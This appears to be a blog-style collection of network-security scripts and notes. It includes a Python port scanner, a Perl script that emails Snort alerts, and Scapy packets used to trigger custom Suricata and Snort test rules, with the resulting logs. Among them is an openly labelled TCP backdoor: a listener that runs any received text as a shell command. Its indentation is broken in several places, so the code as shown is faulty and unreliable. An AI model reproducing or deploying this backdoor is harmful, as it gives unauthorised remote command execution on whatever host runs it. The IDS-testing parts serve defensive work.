A simple TCP port scanner

#!/usr/bin/python
import socket
import sys

try:
    HOST=sys.argv[1]
except:
    HOST='127.0.0.1'
PORTS=[8, 21, 22, 23, 80, 135, 139, 445, 8080]

for PORT in PORTS:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((HOST, PORT))
        print "%s:%s is open!" % (HOST, PORT)
    except:
        print "%s:%s is close!" % (HOST, PORT)
    s.close()

A simple TCP backdoor

#!/usr/bin/python
import socket, sys, subprocess

class BreakOutOfALoop(Exception): pass

def execute( command ):
    subprocess.check_output(command, shell=True)
    return

HOST = '';
try:
    PORT = sys.argv[1]
except:
    PORT = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while 1:
try:
            conn, addr = s.accept()
            while 1:
conn.sendall("# ")
try:
data = conn.recv(1024)
except:
raise BreakOutOfALoop
execute(data)
#print type(data)
data = data[:-1]
conn.sendall("%s is executed!\r\n" % data)
except BreakOutOfALoop:
   continue
conn.close()
s.close()

Send Snort alerts through emails from Syslog

#!/usr/bin/perl -w
#Add the sentence below (bear in mind that there is no Pound sign)
#to /etc/rsyslog.conf before restarting the rsyslog service.
#*.* @127.0.0.1:88
use Net::Syslogd;
use IO::Socket;
$|=1;

$email_server='192.168.0.100';
$email_domain='local.mail.com';
$email_sender='sender@mail.com';
$email_receiver='receiver@mail.com';
$syslogd_port=88;

sub sendmail($$){
                $content = shift;
                $subject = shift;

                $sock = IO::Socket::INET->new(PeerAddr => $email_server,
                                              PeerPort => 25,
                                              Proto => 'tcp') || die "Cannot create Socket!\n";

                $sock->send("HELO".$email_domain."\r\n");
                $sock->recv($mem, 100, 0);
                $sock->send("MAIL FROM: ".$email_sender."\r\n");
                $sock->recv($mem, 100, 0);
                $sock->send("RCPT TO: ".$email_receiver."\r\n");
                $sock->recv($mem, 100, 0);
                $sock->send("DATA\r\n");
                $sock->recv($mem, 100, 0);
                $sock->send("From: ".$email_sender."\r\n");
                $sock->send("To: ".$email_receiver."\r\n");
                $subject = "Subject: ".$subject."\r\n\r\n";
                $sock->send($subject);
                $content = $content."\r\n".'.'."\r\n";
                $sock->send($content);
                $sock->recv($mem, 100, 0);
                $sock->send("QUIT\r\n");
                $sock->recv($mem, 100, 0);

                $sock->close();
}

$syslogd = Net::Syslogd->new(LocalPort=>$syslogd_port) or die "Error creating Syslogd listener: ", Net::Syslogd->error;

while (1) {
                $message = $syslogd->get_message();

                if (!defined($message)) {
                                printf "$0: %s\n", Net::Syslogd->error;
                                exit 1
                } elsif ($message == 0) {
                                next
                }

                if (!defined($message->process_message())) {
                                printf "$0: %s\n", Net::Syslogd->error
                } else {

                                $syslog_content = sprintf "%s\t%i\t%s\t%s\t%s\t%s\t%s\n",
                                                $message->remoteaddr,
                                                $message->remoteport,
                                                $message->facility,
                                                $message->severity,
                                                $message->time,
                                                $message->hostname,
                                                $message->message;
                             
                                #print $syslog_content;
                             
                                if ($message->message=~/snort(.*): \[(.*)\] (.*) \[Classification:/){
                                                print $syslog_content;
                                                $alert=$3;
                                                &sendmail($syslog_content, $alert);

                                }
                }
}

An example regarding Scapy scripts

#!/usr/bin/python

from scapy.all import *

ipAddr=raw_input("Target IP : ")

payloadContent=raw_input("Content : ")

packetForTest=IP(dst=ipAddr)/ICMP()/payloadContent

send(packetForTest)

print "Sending the ICMP packet..."

print "Done!"

Test Suricata through Scapy

The configuration of suricata.yaml refers to a new-added rule named alex.rules
root@LinuxTest:~# cat /etc/suricata/suricata.yaml|grep rules
## Step 2: select the rules to enable or disable
default-rule-path: /etc/suricata/rules
- emerging-all.rules
- app-layer-events.rules
- files.rules
- stream-events.rules
- decoder-events.rules
- http-events.rules
- tls-events.rules
- dns-events.rules
#- modbus-events.rules
- smtp-events.rules
- alex.rules



The content of the alex.rules
alert icmp any any -> any any (content:"|64656D6F6E616C6578|"; msg:"Show demonalex"; sid:1000888;)



Run Suricata
root@LinuxTest:~# suricata -c /etc/suricata/suricata.yaml -i eth0



Lauch a test case through Scapy:
>>> b=IP(dst='184.0.172.222')/ICMP()/'demonalex';send(b)
.
Sent 1 packets.



Check the alert of Suricata
root@LinuxTest:~# tail -n 10 -f /var/log/suricata/fast.log
12/11/2016-15:47:22.255835  [**] [1:1000888:0] Show demonalex [**] [Classification: (null)] [Priority: 3] {ICMP} 184.0.1.189:8 -> 184.0.172.222:0
12/11/2016-15:47:22.256266  [**] [1:1000888:0] Show demonalex [**] [Classification: (null)] [Priority: 3] {ICMP} 184.0.172.222:0 -> 184.0.1.189:0

Some notes regarding testing Snort through Scapy

The rule for testing the NIDS engine:
alert icmp any any -> any any (content:"|64656D6F6E616C6578|"; msg:"Show demonalex"; sid:1000888;)



Launch a test case through Scapy:
>>> a=IP(dst='192.168.172.222')/ICMP()/"demonalex"
>>> send(a)



Tcpdump monitoring the conversation:
root@LinuxTest:/etc/snort/rules# tcpdump -i eth0 -Avv host 192.168.172.222 and icmp
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
15:05:28.450743 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 37)
    dynamic.dsl.skybest.com > xxxxxxxxxxx.local: ICMP echo request, id 0, seq 0, length 17
E..%....@.\;...........c....demonalex
15:05:28.451176 IP (tos 0x0, ttl 127, id 21335, offset 0, flags [none], proto ICMP (1), length 37)
    xxxxxxxxxxx.local > dynamic.dsl.skybest.com: ICMP echo reply, id 0, seq 0, length 17
E..%SW.................c....demonalex.........



Corresponding Snort Log:
root@LinuxTest:~# tail -n 10 -f /var/log/snort/alert
[**] [1:1000888:0] Show demonalex [**]
[Priority: 0]
12/09-15:23:37.880520 192.168.1.189 -> 192.168.172.222
ICMP TTL:64 TOS:0x0 ID:1 IpLen:20 DgmLen:37
Type:8  Code:0  ID:0   Seq:0  ECHO

[**] [1:1000888:0] Show demonalex [**]
[Priority: 0]
12/09-15:23:37.881118 192.168.172.222 -> 192.168.1.189
ICMP TTL:127 TOS:0x0 ID:3121 IpLen:20 DgmLen:37
Type:0  Code:0  ID:0  Seq:0  ECHO REPLY

[**] [1:408:5] ICMP Echo Reply [**]
[Classification: Misc activity] [Priority: 3]
12/09-15:23:37.881118 192.168.172.222 -> 192.168.1.189
ICMP TTL:127 TOS:0x0 ID:3121 IpLen:20 DgmLen:37
Type:0  Code:0  ID:0  Seq:0  ECHO REPLY

Officially update feeds for OSSIM or USM.

Directly Quoted from: https://www.alienvault.com/documentation/usm-v5/ids-configuration/updating-alienvault-nids-rules.htm

To install threat intelligence updates using the web interface

1. Navigate to Configuration > Deployment > Components > AlienVault Center.
2. Click the yellow arrow in the New Updates column next to the USM appliance you want to install the updates on.
3. Examine the available updates.
   NIDS updates contain “suricata” in the package name.
4. Click Update Feed Only.
   Note: This updates signatures and rules for all packages listed in the update summary, not just the IDS signatures.

The upgrade process can take several minutes. After completion, the page displays a message indicating a successful update.

To install threat intelligence updates in the AlienVault Setup Menu

1. Launch the AlienVault console.
2. Select System Preferences; press Enter (<OK>).
3. Select Update AlienVault System; press Enter (<OK>).
4. Select Update Threat Intelligence; press Enter (<OK>).
5. Confirm your selection.
   Note: The AlienVault console does not show the list of available updates, but you can check the update progress.

The upgrade process can take several minutes. After completion, the console displays a message indicating a successful update.